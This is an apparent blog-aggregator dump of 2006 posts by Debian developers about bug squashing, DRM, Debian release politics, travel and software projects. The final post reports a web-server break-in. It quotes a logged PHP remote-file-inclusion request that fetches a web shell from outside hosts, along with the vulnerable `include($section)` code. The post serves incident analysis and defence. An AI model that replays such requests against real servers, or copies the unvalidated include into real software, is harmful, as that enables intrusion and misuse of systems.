Last weekend, Jeroen van Wolffelaar and Thijs Kinkhorst organised a BSP at Utrecht University. I went along for a couple of reasons:

• to help reduce the number of RC bugs in the run-up to the Etch release
• to meet some of the Dutch developers and users, and to encourage them to work their best for Etch

I met up with Hanna Ollila at Schiphol Airport late on Friday evening, and we took the train down to Utrecht together. We found Jeroen and some others at the station and went straight on to a party in the middle of town for a few hours. Then after just a few hours' sleep we headed into the University to get breakfast and start squashing bugs. A group of about a dozen people turned up that day - mainly a mixture of Dutch DDs and other locals.

I took a look at a couple of bugs initially on Saturday: #387419 and #387498. Unfortunately, the first (kdepim FTBFS on alpha) was difficult to reproduce - the alpha machine I had available for testing was too short on memory and took a very long time to build kdepim, long enough that after 2 days I gave up. I couldn't reproduce the latter (system() hanging when running on mips) on any machine I had access to - it looks like more work is needed there... In parallel with those two RC bugs (found on Andreas' great summary page at http://bts.turmzimmer.net/details.php), I also had a very productive session working in parallel with Christian Perrier, fixing translation/i18n bugs in one of my own packages, CVS. Thanks Christian, you're a pleasure to work with! On Saturday evening, the gang of us headed into the centre of Utrecht for a nice meal, some beer and some spirited conversation at a Greek restaurant. I took the opportunity to talk with Frans Pop about some of the remaining work needed for d-i and debian-cd. On Sunday, the work continued. I was still waiting on feedback on #387498 and my build of #387419, so I decided to make the most of the uninterrupted time to get some debian-cd development work done. I'm still hoping to get multi-arch CDs working before we release etch, so this was a great help. In fact, I got so engrossed in this that I managed to work straight through dinner...! In terms of bugs, I must admit that I didn't do much in terms of reducing absolute numbers. This weekend, there were a lot of bugs in categories that don't really work well for Bug Squashing: licensing/legal bugs (which really need discussion with the maintainer), newly-opened bugs (IMHO it's a little rude to NMU a package when a bug has only just been opened - give the maintainer at least a couple of days to respond!) and deep bugs where intimate knowledge of the package is needed. I expect there will be more to work on next weekend in Zurich, if nothing else some of those "new" bugs will have aged. Early on Monday morning I caught the bus from near Jeroen's apartment to start the journey home. Thanks to the nice reliable public transport, I got all the way to Schiphol well in time. Then my flight back to Stansted was delayed... :-( It was great to meet up with a bunch of enthusiastic people. Some I'd met before (Frans, Jeroen, Hanna). Some I met for the first time (Thijs, Bas, Moritz and others). But all of them were working hard, wanting to help get Etch out on time. Let's keep up the good work! I have a small number of photos online.

Today is the day against DRM. Thousands of people around the world are spreading the word about Digital Restriction Management technologies. The interesting thing about the people building DRM systems is that they're doing evil. They may not think they're doing evil, after all they're generally good people, doing their jobs, feeding their families, and protecting their interests. It's not a big evil, but it is a subtle one. And that's why you shouldn't support them. For decades, the music industry has been making money by selling records and tapes. This was a good business, because it was difficult to produce records, and it was difficult to get tapes into the hands of consumers. They made quite a tidy sum over production and distribution of art, which is a pretty decent living. But then came the Internet. And the Internet got big. Big enough that you're reading what I'm writing, even though we come from completely different backgrounds and are probably miles apart. The interesting thing about the Internet is that copying a song and sending it to someone else costs almost nothing. Zip, zero, zilch. Now traditional media distribution houses are upset. The service they performed was valuable and the goods they sold were scarce. Nowadays, neither or those are true. People can record music in their garages, edit it on their computers, and publish it online. The digital medium has turned art from a scarce resource into an abundance. So what do companies do? They feel that they have to protect their existing business models so they try to push through legislation that would make it illegal to provide abundance. That's like arresting farmers for plant seeds they've harvested from their own wheat. But this is wrong. People are now using the Internet to make and distribute art like we've never seen before. The proliferation of new songs, new pictures, new videos is just enormous. The creative community has exploded through sharing, some of it illegal, and we can all see what a vibe this has caused. DRM is meant to put a stop to that. It's designed to have two components: one is the technology that monitors and restricts what you can do with the art that you've bought, the second is the legislation that makes it illegal to circumvent this technology. So only criminals will be able to give music to their friends. But criminals will do that anyway, laws won't prevent DVD duplication in Asia. They will, however, stop you from listening to music in ways some corporation doesn't want you to. What can you do about it? Make it known that you're against DRM. Make it known that you're against proprietary systems that stifle the creative spirit. And only purchase open systems. Not just because it's the right thing to do, but also because they won't hold you hostage.

October is a busy month for us. October 14th is my birthday, and October 16th is our wedding anniversary. On our honeymoon in 2004, we took a trip to wt:Charlevoix at the mouth of the Saguenay fjord in Quebec. Then, in October 2005, Amita June had just been born, so we took a short trip to Ottawa for the weekend. At this point, I think we've established an anniversary tradition of short weekend trips to cities in Eastern Canada. This year, Maj started arranging a trip to St. John's in Newfoundland. I'm pretty fascinated by wt:Newfoundland -- it's one of the oldest settlements in North America, yet very isolated. Its culture is a unique blend of Celtic, English, and a smattering of French Canadian with an idiosyncratic accent and great music. But St. John's is just too remote for a relaxing, romantic anniversary weekend. We kept trying to find easier ways to get there, and nothing was working out. So we decided to save Newfoundland for a spring trip. My crazy-cuckoo dream is to drive from Montreal to Labrador City and then out to Goose Bay in Labrador on the mainland, take the ferry to Newfoundland, drive around a bit there, then back to Montreal on a car ferry. Good trip, eh? So, we decided to take things a little easier and go to another part of Canada. We've wanted to visit wt:Halifax for a long time, and now it looks like it's going to work out. It's only 1-1/2 hours by plane from Montreal, and it's supposed to be a very charming, fun city. I got good deals on Air Canada for the two of us, plus baby, and we're staying at the posh Lord Nelson hotel in the middle of town. Even though it's the "Splurge" hotel on the Wikitravel Sleep section, I was able to get a discount with my CAA card that makes the price just about acceptable for a special occasion weekend. Now we have to plan what to do when we get there. We've only been to Nova Scotia once, and that was just a jaunt across the border from New Brunswick for kcks. I'm going to pore over the Wikitravel and World66 articles to see what I can come up with, and hopefully do some research while we're on the road. Really, that's the best part for me. I probably shouldn't look so far ahead -- we've got Hudson (New York) still to do this weekend. Like I said, a busy month! tags: anniversary october st. johns halifax newfoundland travel nova scotia

Free Books I've been planning to go to the local Wiki Wednesday here in [wt:Montreal], so I was reviewing the Montreal Wiki Wednesday page for previous events. Although we've made it to a few of the previous ones, we definitely haven't made it to all the ones we said we would... so be it. One of the previous speakers was Hugh McGuire, a Montrealer who started an excellent project called Librivox. Librivox is a project to create free audiobooks, with chapters contributed over the Internet by readers around the world. They take books from Project Gutenberg (which is apparently a MediaWiki wiki site now... who knew?) and volunteers read them and then the whole thing gets munged into a nice little package. Everything stays in the public domain (bless their generous souls) and they even have a Librivox podcast just in case you swing that way. I'm super-hot for audio books. I love listening to them while driving, especially for long road trips. Maj is lukewarm on the idea, but she occasionally gets into them when we've got a good book going. The big downside is that they're ridiculously expensive -- $50+ for some books. The only thing that bothers me a bit about Librivox is that there arent CD Audio ISOs available. We have an MP3 CD player in our car, and I think it should work fine, but for sharing it's awful nice to have real CDs. UPDATE (from Hugh): There are mp3 ISOs available here: LibriVarc, but no aiff files. mega storage space, bandwidth and transfer problems to do that, but if anyone is interested in providing such CDs, or helping manage such a project, we'd love to know about it. tags: librivox audio books books on tape roadtrip project gutenberg

BarCampMontreal And while drifting through Hugh McGuire's blog, what do I see but a link to the newly-announced BarCampMontreal -- the first BarCamp to happen here in The City Without a Nickname. I had thought that the loose plan was to do a BarCamp to coincide with RecentChangesCamp in May 2007, but this plan seems more impetuous and uninhibited -- just like a BarCamp. There are just too many people to invite here in Montreal, though... we have something like 20 Debian developers, a whole passel of bloggers and wikitistas, lots of games developers and folks like that. Lots of work before the big weekend. Did I mention that October is a busy month? tags: barcamp montreal barcampmontreal

Day against DRM And look at that... October 3 is the Day against DRM per Defective by Design. A new DRM info clearinghouse, cleverly named drm.info, launched today, too. I've been in the weird situation lately of fighting against over-protectiveness w/r/t DRM in the Creative Commons licenses, when in fact I think DRM is twisted and dumb. It's a bill of goods being sold to entertainment companies by shady technology groups, it's rarely effective, and its only value is to punish law-abiding citizens. It's gotta go. A passionate and profanity-laced article I wrote about DRM coders for Pigdog Journal was linked from ars technica and BoingBoing last year. Although my writing style is a bit different (cough cough) than it once was, I still feel the same about DRM: a shameful and hostile way for technologists to treat each other. tags: dayagainstdrm drm pigdog journal

Are you experienced? So, I like the TV show Lost a lot, but I had no idea about this immersive alternate reality game The Lost Experience. Seems like just the kind of intense investigation game to keep losties busy for the entire summer. (You know, while they weren't trying to figure out the truth about lonelygirl15.) I'm not really that into figuring this stuff out, but I do enjoy reading the details once people have worked them through. tags: lost lost experience alternate reality game

I have received some requests (as comments) to publish the info i have about the USB key. I will do that soon, when I manage to get my home ADSL working again…

So according to Peter Lee, an execute from Disney, we have almost won against Digital Restriction Management (DRM). Interestingly five out of six quotes on that page give good arguments against DRM, even though three of them are from those people who want to restrict our means to share culture.

Please spread the word, why DRM is bad. This website, http://drm.info was launched today, on the global day against DRM.

Unfortunatly winning a battle doesn't mean winning the war. (Sorry for the military metaphor.) So I'm not surprised software patents are back on the agenda in Brussels (linked article in german only) and I do expect the fight against DRM to be a long one.

Martin 'Joey' Schulze is still aggressively writing against Dunc tank. I don't agree with his posting at all. I don't think dunc-tank is doing any serious damage to the project; so far all the damage comes from a few people (especially you, Joey), that play some "politics" game here I don't really get or like. And just count the number of people who have expressed discomfort with your postings. I remember having seen the word "blackmail" attributed to some of your mails. [Update: and it also sucks that people have to point out that they didn't reduce their Debian involvement because of Dunc tank, but just because they don't use the software anymore, have too little time or are annoyed by your behaviour; otherwise you'd probably cite them as dunc-tank enemies.] I'm also convinced that your assessment - that only the release in december counts - is false. You know, the people working on Debian were NOT replaced by the announcement of the dunc tank experiment. We still want to make Debian the "Universal OS", and are still dedicated to the projects goals. But some of us still remember the bad press debian has been receiving because of the delays with sarge release, and the users we have lost back then because of pushing back the release again and again. You know, many people still act like "yeah, debian releases in december, sure, when hell freezes over". One of Debians strengths was security support. But security support doesn't work as well, when half of the software you're running are unsupported backports. If Debian wants to remain a good base choice (i.e. universal OS), it needs to provide a reliable combination of secure but not too-out-of-date software to become useless again. Therefore I consider frequent-enough, somewhat-on-time releases important for the universal OS idea; this will also cut down on our work (at least for those doing backports, too, since we need to do less of them). It's not a primary goal, but a consequence of the well-established goals. Now why I accept the experiment of 'hiring' the release managers for one month full-time: I've always had the impression that donating to Debian is somewhat pointless, because I don't see any concrete results, or where the money is going. To me it always felt like it ends up in an unused saving account with the SPI treasurer, until someone finds a way to spend it. Here the money is used in a transparent way, on well-respected people and with a very concrete result. And remember, it's an experiment. It's a one time thing so far. Oh, and to actually counter all your blah-blah: I've actually recently increased my Debian efforts again. Because of the dunc-tank thing, and despite your end-of-the-world-claims. Namely because it gave me back the feeling that someone actually cares about making Debian useful to everbody (and not just us freaks running unstable and experimental). That there is some interest in getting the new release out of the door on time, of supporting our users out there such as the city of munich (which is also running backports AFAIK). To me Debian is still mostly about the users, not about the ego of developers. Be a nice guy and do a good job, and you'll get lots of thank yous, a couple of friends, a couple of patches, some free beer or tshirts in return. Does this corrupt as well, getting a free coke? Yes, I got a free Jolt coke four years ago at Systems. Does this make you demotivated, that you didn't get one, too?

There was no real known reason why our essay for the course History of Computing was overdue, but Bas and I finally managed to finish it yesterday. Almost two years we have been postponing writing it, slowly collecting and reading more material, but after a few weekends of hard work, it is done: John Vincent Atanasoff: The Inventor of the Digital Computer (copyrighted under CC SharedAlike 2.5) The essay tries to acknowledge Atanasoff’s accomplishments, the ABC, and ideas that we still find in our computers today (binary system, regenerative memory, separation of calculation and memory and calculation by electronics and logic). Without these ideas and the derivations that found its way into the ENIAC, the world would’ve been a different place for sure. I was surprised by the increased amount of work it requires to write a work covering a historical topic. For each sentence you write down, you either have to do a lot of research, you have to make sure it is objective or if it is not objective you have to find a source backing up what you are stating. This way, writing 1,5 pages on an average Saturday is a lot, comparing to writing a report about some practical assignment, which is fairly easy and straightforward. Even more so since our topic is surrounded by controversy.

I believe I have now filed O:rphaning bugs on all my current packages. I’m just back from a weekend trip away with my girlfriend, which involved a trip to York Minister, a boat cruise during which we saw a Kingfisher, and managing to eat a pizza at the top of Clifford’s Tower after several beverages. (I’m impressed we didn’t fall down the grass bank and die. And pleased too of course!) The train journeys were pleasant enough, and the weekend made me feel very touristy and alive.

Strange comments from Release Manager Andreas Barth predicting that this resolution would mean:

'The debian-installer has to be changed prior to release of Etch. This change alone would delay by at least 6 months, according to Joey's estimations.'

The resolution does not specify how it should be implemented technically. I'm pretty sure other options (such as dropping some hardware support from the official release) have been mentioned and there are probably suggestions that I'm unaware of. If the release managers choose to delay the release until debian-installer is changed, then that is their choice.

'Even fonts and videos would fall into the category where we would need source - but what is the source of a font? or a video stream? (and yes, fonts are "works that are executed by other means", i.e. displayed on the screen) That is a great new place for lots of new discussions that don't really help our users, but will definitly waste lots of time.'

The source of a font is what you used to make that font. Similarly for other work. It's pretty obvious in most cases. As far as I understand the concept of streaming video, we don't have it in the release, so that one seems a strange argument to me.

'We would be in a very bad situation e.g. with the debian-keyring (and all other sort of crypthographic stuff) - I definitly don't plan to distribute the sources for my public key (as the sources can also be used to generate the private key).'

I think this is the only interesting point: but is the debian-keyring made up of programs, rather than data that is input to a program? Do the private keys contain instructions which are executed by GnuPG? If not, note that source provision is only "strongly recommended" not required and there is a pretty strong reason for it not to be included in this small case.

'In summary, this proposal would delay the release of Etch by at least 6 months, probably even one year. Of course, any of the pending GRs can still overrule the result of this GR, but - that is not something we should be proud about, or even plan.'

In summary, I think we should remember that predictions can be wrong as well as right, even from a release manager, whether or not they are being paid for their time by an external organisation. Of course, the release manager could try to make those predictions true, but that would be pretty cynical. Vote to reaffirm DFSG 2! Update: shortly after publication of the above, someone at TU Wien wrote "yay for debian-legal fuckheads". Good argument(!) I can see why you are at university(!) Also, Andreas Barth's last blog post keeps changing the date, so it sits in the top place on planet for ages. I didn't think it was so weak as to need that sort of help. This update suggests it might be a software bug, though. Update 2: Hoho, guess I found part of the problem!

Two of our good friends here in Montreal are Kate and Morgan. She's a Ph.D. student in philosophy at Rutgers, working on her dissertation here, and he's a game designer. They're from Australia originally, and they just got married Down Under about 4 weeks ago. Her dad and stepmom live in North America, though, so they're thoughtfully holding a wedding party next weekend for Kate and Morgan's American friends and family at their home in wt:Hudson (New York). We've driven through the area a few times in the past, but we haven't really stopped for long. From what Kate says, Hudson's a pretty town and early October means lots of leaf-peeping opportunities. Not that Montreal's any slouch in that respect right now, but it will be nice to see other people's leaves, I guess. There's also a Firefighter Museum and a Shaker Museum. I also just finished The Island at the Center of the World, a historical book about the 17th-century Dutch colony of New Netherlands (now New York). The main settlements were in the Hudson Valley between Manhattan and Albany (New York), so I'd like to find a nice one to stop at and look around. The drive down is about 4-1/2 hours, and I think we'll be OK doing it in one hop, even with the baby strapped down in the back seat. We're heading out on Friday evening, spending Saturday checking out the sights, then parties on Sunday and Monday (a holiday, Columbus Day, in the US). Monday night Maj got us tickets to see Massive Attack here in Montreal, so we'll be zooming back up highway 87 Monday afternoon and if we can avoid problems at the border in wt:Plattsburgh we'll be rockin' out (a bit) that evening. tags: kate morgan wedding party hudson massive attack leaf peeping

Parallel distrihoozit The discussions on the cc-licenses list over the last week have gotten increasingly heated. At heart is the very emotional issue of DRM (AKA TPM) technology, and to what extent its use is compatible with Open Source and Open Content. It's been a real shame -- several pages-long posts that really try to hammer a point into the head of someone who's just not listening since they're busy writing their own 10-page-long email. It's become impossible to read and some wiser heads have asked for a cooling-off period. Thankfully so. There is very little time left to continue this discussion. I really sincerely hope that people who are interested in seeing Commons licenses that are compatible with Debian and other Free Software pop in and say something to that effect. Cool heads who can state things in simple English are particularly welcome. The list allows posting to subscribers only -- kind of a damper on one-time posts -- but subscription only takes a second, and you can disable your subscription immediately after you're done. tags: cc debian cc-licenses public review cc3.0

Busy Wednesday Ahead 2007 is going to be the year of wiki in Montreal. We're having two of the main wiki conferences -- RecentChangesCamp and Wikisym -- here in Montreal next year. And I guess it's time for the local wiki, open source, open content and "open other" community to start getting ready. At least in the wiki world we're taking the first steps. Wednesday 4 October (uhh... I mean, Duodi 12 Vend miaire) we're having Montreal Wiki Wednesday at 8655 rue St-Denis (metro Cremazie). Alain Desilets and Sunir Shah, who are both working on Wikisym, will be coming, as well as Anne Goldberg (principal organizer of RCC) and the inimitable Seb Paquet, who runs everything in this town. 15h-18h, fun times ahead. tags: wiki wiki wednesday wikisym montreal rococo

CC Salon Montreal But wait there's more! On top of WW, we're going to have a big Creative Commons Salon Montreal on Wednesday night, too. This will be the second time we've had a get-together in Montreal for CC so far, and I think it's going to be a good one. Maj and I are going to give an informal talk about Wikitravel and its CC license which has worked so well for us. I'm really gung-ho on the CC Salon idea. It's a great way to engage the interesting, fun part of CC -- and it's all about the fun, right? CC Salon Montreal is happening 4 Oct at 18:30h at L'am re boire, 2049 rue St. Denis (a mere 66-block walk from Wiki Wednesday!). Should be a good time. (On top of all this, I'll probably stop at YULblog on the way home, just to make the Web maven's trifecta for the night. tags: cc cc salon montreal salon

Slashdot had a post this evening about the update to the O'Reilly IPv6 book.

I took a scan of the comments, and got the usual bits - why would someone bother? What's the killer app? We're not running out of oil^Waddresses! While I don't claim to be an expert on the topic, where I have used IPv6 succesfully is on my home network. Where NAT is really annoying for geeks is that our ISPs give us one IP address, make it move around occasionally, and tell us we can't run servers on it. Add an IPv6 tunnel to this, and it doesn't really matter what my ISP thinks. My machines remain trivially addressable. Scanning the address space to try and hammer on the boxes is a non-trivial task and by-and-large, Windows zombies aren't usually talking on IPv6.

This isn't a permanent nirvana, but if general attitudes about v6 are the same as the drones on /., then my little workaround hack will persist for a while.

I've been quiet recently. I spent a week with the cold, then a week being stressed. I'm hoping this week is uneventful. One thing I've been meaning to post about for the past month or so are some positive supplier experiences I've had. Like most people I'm quick to whine when things go wrong and I've had a few things I didn't expect to go smoothly be fine. First up, eBuyer. I mentioned in my initramfs post that I had a disk that had been damaged in transit (according to the manufacturer's diagnostic tool). I wasn't looking forward to trying to return this, as I feared eBuyer would try to weasel out of the RMA. However it all went smoothly. Took them a couple of days to issue the RMA authorisation number, but after that I sent it off including the receipt for the posting and they sent me an email to confirm when they had it and when they sent me out the new one. And credited the postage back to my credit card. I was gobsmacked. I've been using them as a cheap box shifter for a few years and always assumed that the instant I had any problems it would all be pain, but no. It wasn't the quickest of processes, but it did all proceed without me having to chase anyone. Next, Scan. I've hated them for years. Pre 2000 I vowed I'd never use them again for reasons I can't remember. In 2000 I capitulated and ordered a Scan 2000 DVD player from them (which is still going strong). However despite being stiffed £10 for next day delivery it didn't turn up, nor the next day and eventually I had to ring them and find they'd failed to authorise my card and hadn't bothered to contact me. I vowed I'd uphold my pledge never to use them and until recently had done so. And then I needed some 1U heatsinks in a hurry and the initial supplier I'd found were being slow about getting stock. Scan had enough in stock so I decided to risk it. And they turned up next day, with several text messages keeping me informed about progress. I'm won't be using them in general, but I might try them again at some point. Finally, regular readers (all 4 of you) will remember the pain I suffered at the hands of Xinit. Black Cat needed some new dedicated servers and I was having problems finding what I wanted (Xeon LVs for low power usage goodness). Neil had some good things to say about Sentral Systems (well, actually Flexiserv who morphed into Sentral) so I figured I may as well drop them an email. I wasn't really expecting much, so when they got back and said they thought they could do exactly what I wanted within a week I was sceptical. Especially as that was a complete server whereas even looking for the bare chips I was getting quoted lead times of at least 4 weeks. To be honest they didn't manage it in a week - it was more like a week and a half (I think the order was confirmed on a Nonday and delivered Wednesday week later). Damn fine. Plus they kept me informed throughout the process and the one time I considered ringing them to ask what the status was they sent me an email within an hour of me thinking it anyway. The servers are nice and nippy too. :)

If the proposal we are currently voting on (http://www.debian.org/vote/2006/vote_004) would be accepted, this would mean:

• The debian-installer has to be changed prior to release of Etch. This change alone would delay by at least 6 months, according to Joey's estimations.
• Even fonts and videos would fall into the category where we would need source - but what is the source of a font? or a video stream? (and yes, fonts are "works that are executed by other means", i.e. displayed on the screen) That is a great new place for lots of new discussions that don't really help our users, but will definitly waste lots of time.
• We would be in a very bad situation e.g. with the debian-keyring (and all other sort of crypthographic stuff) - I definitly don't plan to distribute the sources for my public key (as the sources can also be used to generate the private key).

In summary, this proposal would delay the release of Etch by at least 6 months, probably even one year. Of course, any of the pending GRs can still overrule the result of this GR, but - that is not something we should be proud about, or even plan. On a personal basis, if this GR becomes effective would also mean that I failed to manage the release of Etch.

The horror of providing full SELinux support out of the box are install scripts. Installing files of a package is rather easy. Install them, relabel them. This can be added to the package manager. (And I believe dpkg already does that). However, package install scripts are becoming more and more complex, and they aren't SELinux aware. And there is a lot of stuff that can go wrong here. For example, a package might want to generate a configuration file for the service you just installed. If this configuration file is to have the same context as the directory containing the configuration file, there won't be a problem - but if it's to have a different context, the generated file will be incorrectly labeled. I see two basic solutions to this:

• require by policy all package install scripts to register all files they created (and the registration application could then take care of the appropriate file labeling) - but this will take a long time to be adopted by all packages
• monitor package install scripts for file creation, and relabel them automatically. However, many install scripts will also start the service the package contains; monitoring shouldn't extend to them, so I doubt this will actually work, and still problems might arise to delays in relabeling

Any other smart solution for these problems? Sometimes I wish we could do without turing-complete postinst scripts...

My second release as bzr release manager is over - 0.11 is released. John A Meinel will be doing the 0.12 release - and it looks to be a cracker!

After two years of using lkwiki, an old kwiki version that was extended to support full LaTeX documents to be managed and to store it's information in subversion, it is time for a rewrite. This week, I built the basic working foundation, in time for the new term at my University in Karlsruhe, but hopefully also for other people to use. So hereby, I announce:Latexki consists of two parts: The latexki binary, written in Haskell, is called by subversion after a commit and generates the static wiki pages (both text and LaTeX-based). It only updates what's needed (since running latex is expensive), but tracks dependencies like \input in LaTeX. The other, actually optional, part is a CGI script written in python which provides simple write-access to the subversion repository and which should handle conflicts with the same grace as subversion itself.Some, especially the planet.debian.org readers, will now immediatelly say that this is the same idea as Joey's ikiwiki and that I should just have extended his software. Now, I had the idea independently (after all, lkwiki works like this for two years now), and while ikiwiki is more a general purpose wiki, I wanted to create a tool specifically tailored for the collaborative management of LaTeX documents, the text pages are just side-play. Also, I wanted to to my own thing to use the subversion bindings to access the repository directly, without the need of a working copy, for the edits. It turned out that with pysvn, this is not possible, but at least I don't have to call the svn binary and using temporary directories for the working directory should be a clean solution.While the code is basically working, it still needs some testing. I'm also very eager to hear comments about the code itself, especially from a security point of view, but also from a "how to this nicer in haskell" point of view. You can find the code on the wiki itself, as all non-wiki, non-latex files are just wrapped in <pre> and put on their own page. Also, the TODO list is long. Patches are welcome, and if you want to use the software yourself, I'll help with any deployment problems.To the lkwiki users: I plan to switch the lkwiki repository to latexki before the semester starts. Some files will have to be renamed, and some detail code to be written. Feel free to test the latexki code to make sure we don't have problems then.

I don't get sick very often, so I'm not a big consumer of off-the-shelf drugs. I had noticed that Panadol equivalents (i.e. pain killers containing paracetamol) didn't seem to exist in the US, until Sarah said that Tylenol's active ingredient (acetaminophen) was what they call paracetamol in the US. Sure enough, Wikipedia confirmed this. It's funny how the same thing can have different names depending on what country you're in. Paracetamol is certainly a damn sight easier to pronounce than acetaminophen.

I happen to have my own root server, and since there are always resources left, I did not mind hosting some other people's pages as well. I especially offer all the final classes of my school to host their website, to keep up a consistent domain naming scheme, starting with my own class page, http://04.abi-sgh.de/. This was a nice services to the following classes, as the amout of pictures such a class generates usually exeeds regular hosting constraints. Custom programmed websites, like mine and some more, are nice too.Now, today, my web server was not running. I tried to restart it, but port 443 was used, and I thought: "WTF"? netstat showed my a process with the strange name of "mysqld_" sitting on that port. ls -l /proc/.../cmd showed a binary named "httpd" in a path "/var/www/...(very deep)/.../.ssh/". Now it dawned me: Someone hacked my server.A quick "ls -l" in that directory indicated that it was done as the www-data server, and probably no root was gained. There were also two DVD rips laying around, so my server seemd to have been turned in to a movie sharing platform. The "httpd" binary, as "strings" confirmed, is a IRC-fileshareing server called iroffer, and a tool to hide processes was in that directory too.Luckily, the attackers did not hide their traces too well. The date of the "..." directory gave me the exact time of the attack, and around that time, entries like this one appeared in the access.log:

62.123.94.34 - - [30/Sep/2006:16:26:22 +0200] "POST /index.php?section=http://bote.balikesir.edu.tr/~bote0301/
cmd.gif?http://prctl.iespana.es/cmd.gif?&action=cmd&chdir=/var/www/05.abi-sgh.de/ HTTP/1.1" 200 34224
"http://05.abi-sgh.de/index.php?section=http://bote.balikesir.edu.tr/~bote0301/cmd.gif?http://prctl.iespana.es/cmd.gif?&
action=cmd&chdir=/var/www/05.abi-sgh.de/" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)" 1

Until today I thought attacks via PHP only affect the well-known pieces of software like the usual web forum, where the code is public and finding holes pays off, and I was expecting that one of the websites on my server ran such a buggy version of something. It truned out that the index.php affected here is actually a self-programmed piece of code by someone from that class. But I guess the mistake they did is as common as it is stupid, and I also guess that PHP's reputation for being insecure is justified, if this is actually possible.The relevant piece of code is, after the usual HTML header: <? include($section); ?>. That's it. $section is defined no where, and PHP has a mode where CGI parameters are used one-to-one as global variables. So $section is actually the user's option to the "section=" part of the header. And PHP also seems to open URLs and local files just the same. So the attacker just had to put a PHP code file (the cmd.gif file is actually a php file) somewhere and pass it as the "section". Now, I'm sure with the right server settings and differnet code, PHP can be as secure (or insecure) as perl or python. But Features like that should not be in a web programming language in the first place!The cmd.gif seems to be some kind of shell for the web, allowing the user to run commands, download stuff etc, and that's how they operated on my machine. I am not sure why the binary they installed got access to port 80 and 443, but I assume that the php they run can somehow exec() the binary, thus taking over the ports, and when the webserver was restarted in the night because of log rotation, it could not come up again. Another puzzling fact is the directory they stored their stuff in. It is not related to the site they hacked, and happend to be one of the least-used parts of /var/www. Maybe they looked for directories with a very long ago atime or something.I guess I have to have a closer look at what happens on my server. Any maybe I will ban self-written php.Update: A lot of comments came in with suggestions on how to improve security with foreign PHP content. Thanks to all of you! I also hope that other admins might stumble over this page and read these comments before something happens.